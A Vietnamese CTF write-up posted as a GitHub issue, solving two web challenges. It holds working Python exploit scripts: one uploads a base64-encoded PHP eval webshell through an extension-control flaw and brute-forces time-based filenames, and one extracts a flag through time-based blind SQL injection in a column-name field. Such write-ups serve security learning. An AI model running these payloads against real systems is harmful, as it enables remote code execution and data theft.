kcsc-club / ctfs

repository for kscs-ctfs
8 stars 1 forks source link

Write up for Web challenges #5

Closed nhienit2010 closed 2 years ago

nhienit2010 commented 3 years ago

1. ekyc

Đầu tiên, ta dùng git-dumper để kéo toàn bộ folder .git trên server về và lấy source.
Source code:

<?php
ini_set("display_errors", 1);
// ini_set("display_startup_errors", 1);
error_reporting(E_ALL);

$DB_HOST = '192.168.0.3';
$DB_PORT = 27017;
$DB_NAME = 'apikey_db';

function get_client_ip()
{
  $ipaddress = '';
  if (isset($_SERVER['HTTP_CLIENT_IP']))
    $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
  else if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
  else if (isset($_SERVER['HTTP_X_FORWARDED']))
    $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
  else if (isset($_SERVER['HTTP_FORWARDED_FOR']))
    $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
  else if (isset($_SERVER['HTTP_FORWARDED']))
    $ipaddress = $_SERVER['HTTP_FORWARDED'];
  else if (isset($_SERVER['REMOTE_ADDR']))
    $ipaddress = $_SERVER['REMOTE_ADDR'];
  else
    $ipaddress = 'UNKNOWN';
  return $ipaddress;
}
//check db
try {
  //Connect DB
  $key = "";
  $limit = "";
  $current = "";
  //Get Key - Value from DB && Check API-key form request
  $header = getallheaders();
  if (isset($header['Api-Key'])) {
    $query = [[
      'key' => 'key',
      'limit' => 10,
      'current' => 0
    ]];
    if ($query) {
      $key = $query[0]['key'];
      $limit = $query[0]['limit'];
      $current = $query[0]['current'];
      $key_send = $header['Api-Key'];
      // var_dump($key_send);
      if ($key_send == $key) {
        if ($limit >= $current) {
          $current++;
          $data_log = $_REQUEST;
          $data_send = $_POST;
          $data_log['IP'] = get_client_ip();
          $data_log['requestTime'] = new \DateTime();

          try {
            //Add to memcached
            $memcached = new Memcached();
            $memcached->addServer('127.0.0.1', 11211);
            $memcached->add("file_base64_AIconnector", $data_send['base64'], 36000);
            //Add to Redis
            $redis = new Redis();
            $redis->connect('192.168.16.164', 6798);
            $redis->auth('apikey_cloud');
            $redis->set('key_AIconnector', $key);
            $redis->set('limit_AIconnector', $limit);
            $redis->set('current_AIconnector', $current);
          } catch (\Throwable $e) {
          }

          $base64_string = $_POST["base64"];
          // echo $base64_string;
          //Check have extension in base64 string or not
          if (strpos($base64_string, ',')) {
            // Chia base64 và data IMEI
            $check_imei = explode(',', $base64_string);
            $base64 = $check_imei[1];
            $imei = $check_imei[0];
            //Lấy EMEI
            $imei = substr($imei, 5, -7);  // bcd
            var_dump($imei);
            var_dump($base64);
            $extension_file = explode('/', $imei);
            //Write to new file
            $output_file = __DIR__ . "/upload/img_" . time() . "." . $extension_file[1];
            var_dump($output_file);

            $file = fopen($output_file, "wb");
            fwrite($file, base64_decode($base64));
            fclose($file);
            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $finfo = finfo_file($finfo, $output_file);
            $cFile = curl_file_create($output_file, $finfo, basename($output_file));

            $data_send_final = array("image" => $cFile, "filename" => $output_file, "mime" => $finfo, "postname" => basename($output_file));
            //After write log, send data to 3rd party
            var_dump($data_send_final);
            $curl = curl_init();
            $data_string = json_encode($data_send_final);
            curl_setopt_array($curl, array(
              CURLOPT_URL => "https://api.fpt.ai/vision/idr/vnm",
              CURLOPT_CUSTOMREQUEST => "POST",
              CURLOPT_POSTFIELDS => $data_send_final,
              CURLOPT_HTTPHEADER => array(
                "api-key: " . $key
              ),
              CURLOPT_RETURNTRANSFER => true,
            ));
            $response = curl_exec($curl);
            $err = curl_error($curl);
            curl_close($curl);
            if ($err) {
              echo "cURL Error #:" . $err;
            } else {
              header('Content-Type: application/json');
              echo $response;
            }
          } else {
            //Write to new file
            $output_file = __DIR__ . "/upload/img_" . time() . ".jpg";
            $file = fopen($output_file, "wb");
            fwrite($file, base64_decode($base64_string));
            fclose($file);

            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $finfo = finfo_file($finfo, $output_file);
            $cFile = curl_file_create($output_file, $finfo, basename($output_file));

            $data_send_final = array("image" => $cFile, "filename" => $output_file, "mime" => $finfo, "postname" => basename($output_file));
            //After write log, send data to 3rd party
            $curl = curl_init();
            $data_string = json_encode($data_send_final);

            curl_setopt_array($curl, array(
              CURLOPT_URL => "https://api.fpt.ai/vision/idr/vnm",
              CURLOPT_CUSTOMREQUEST => "POST",
              CURLOPT_POSTFIELDS => $data_send_final,
              CURLOPT_HTTPHEADER => array(
                "api-key: " . $key
              ),
              CURLOPT_RETURNTRANSFER => true,
            ));
            $response = curl_exec($curl);
            $err = curl_error($curl);
            curl_close($curl);
            if ($err) {
              echo "cURL Error #:" . $err;
            } else {
              header('Content-Type: application/json');
              echo $response;
            }
          }
        } else {
          $return = array("errorCode" =>  "11", "errorMessage" => "Reach Request Limit", "data" => $_REQUEST);
          header('Content-Type: application/json');
          echo json_encode($return);
        }
      }
    } else {
      $return = array("errorCode" =>  "1", "errorMessage" => "The key isn't correct", "data" => $_REQUEST);
      header('Content-Type: application/json');
      echo json_encode($return);
    }
  } else {
    $return = array("errorCode" =>  "403", "errorMessage" => "Permission Denied!");
    header('Content-Type: application/json');
    echo json_encode($return);
  }
  exit(0);
} catch (Exception $ex) {
  http_response_code(505);
  die();
}

Nhìn có vẻ khá phức tạp nhưng ta chỉ chú ý đến đoạn này

$base64_string = $_POST["base64"];
          // echo $base64_string;
          //Check have extension in base64 string or not
          if (strpos($base64_string, ',')) {
            // Chia base64 và data IMEI
            $check_imei = explode(',', $base64_string);
            $base64 = $check_imei[1];
            $imei = $check_imei[0];
            //Lấy EMEI
            $imei = substr($imei, 5, -7);  // bcd
            $extension_file = explode('/', $imei);
            //Write to new file
            $output_file = __DIR__ . "/upload/img_" . time() . "." . $extension_file[1];
            $file = fopen($output_file, "wb");
            fwrite($file, base64_decode($base64));
            fclose($file)

Ở đây ta thấy có thể control được extension và nội dung của file upload nên ý tưởng là dùng chức năng này để tạo một php webshell. Và $_POST["base64"] là một string được chia làm 2 phần tách bởi dấu ,, phần bên phải là chuỗi base64 sau khi decode ra thì sẽ là nội dung của file, và phần bên trái được check để lấy extension.
$extension_file sẽ được lấy từ substr($imei, 5, -7) (với $imei phần bên trái của chuỗi $_POST["base64"] tách bởi dấu ,), nghĩa là chuỗi sẽ được cắt từ vị trí 5 ký tự đầu và vị trí 7 ký tự từ ký tự cuối cùng trở ngược về đầu. Ví dụ: substr("ahihi/php1234567", 5, -7) = /php.
Khi thành công thì tên file sẽ được lưu và có dạng /upload/img_23132123121.php với số 23132123121 được hàm time() tạo ra. Và số do hàm time gen ra ta có thể brute-force để tìm ra tên file. Để làm được những điều đó, một điều kiện quan trọng nữa là phải tồn tại header Api-Key và giá trị của nó phải là key, dựa vào source code như sau:

if ($query) {
      $key = $query[0]['key'];
      $limit = $query[0]['limit'];
      $current = $query[0]['current'];
      $key_send = $header['Api-Key'];
      // var_dump($key_send);
      if ($key_send == $key) {

Nhưng khi thử thì fail có vẻ như server chặn truy cập vào các file có dạng img_xxxxxxx.php chỉ toàn trỏ về img_.php, vì thế ta chỉ cần thêm gì đó trước .php là được ví dụ như: img_1233112323.aa.php

My solution:

import requests
import time

url = 'http://ekyc.ctf.actvn.edu.vn'
r = requests.Session()
headers = {'Api-Key': 'key', 'X-Forwarded-For':'127.0.0.1'}

def exploit():
    s = int(time.time())
    resp = r.post(url, headers=headers, data={'base64':'asdas/aa.phpsasdphp,PD9waHAgCmV2YWwoJF9HRVRbJ2NtZCddKTsKPz4='})

    for i in range(s, s+10):
        u = url + '/upload/img_' + str(i) + '.aa.php'
        resp = r.get(u, headers=headers)
        if resp.status_code != 404:
            print(u)

if __name__ == "__main__":
    exploit()

Flag: KMACTF{Ekyc_Ekyc_Everywhere}

2. SQL injection

Có một khung search text cho ta nhập vào một thứ gì đó và sau đó trả về dữ liệu từ database, khi search thì dữ liệu POST lên có dạng

{
 "s":"anything",
 "f":[
     "id",
     "text",
     "title", 
     "description"]
}

Nhưng có vẻ trường f kia chứa column sẽ được đưa vào câu query, nghĩa là ta có thể control được tên cột. Mình đã thử thay description thành sleep(3) thì response trả về sau 3s, nên đây là chổ mà ta có thể inject.
Query để lấy tên bảng:

{
 "s":"anything",
 "f":[
     "id",
     "text",
     "title", 
     "(select case when (select table_name from information_schema.tables limit 1 offset 1) like '_fl%' then sleep(1) else 1 end)-- -"]
}  

Sau một lúc ta nhận có được bảng _flag_ và có một column là flag, nhưng dựa vào hint từ author là flag có chứa ký tự utf8mb4, nghĩa là flag không chứa các ký tự alphabet như bình thường, ý tưởng là encode nó sang hex và dùng regex để lấy các ký tự hex đó ra vì hex chỉ chứa các ký tự từ [0->f]

My solution:

import requests
from string import printable
import time

url = 'http://bif.ctf.actvn.edu.vn'
r = requests.Session()
flag = ''
while True:
    for c in printable.replace('%','').replace('*',''):
        payload = f"(select case when (select hex(flag) from _flag_ limit 1 offset 0) RLIKE \"^{flag + c}.*\" then sleep(1) else 1 end)-- -"
        data = {"s":"anything","f":["1","2","3", payload]}
        s = time.time()
        resp = r.post(url, json=data, headers={'Content-type': 'application/json'})
        e = time.time()

        if (e - s >= 2):
            flag += c
            print(flag)
            break

Flag: KMACTF{🐱🐈🐈‍⬛🐈🐈🐈🐱}

vinhjaxt commented 3 years ago

Good job broooo!!!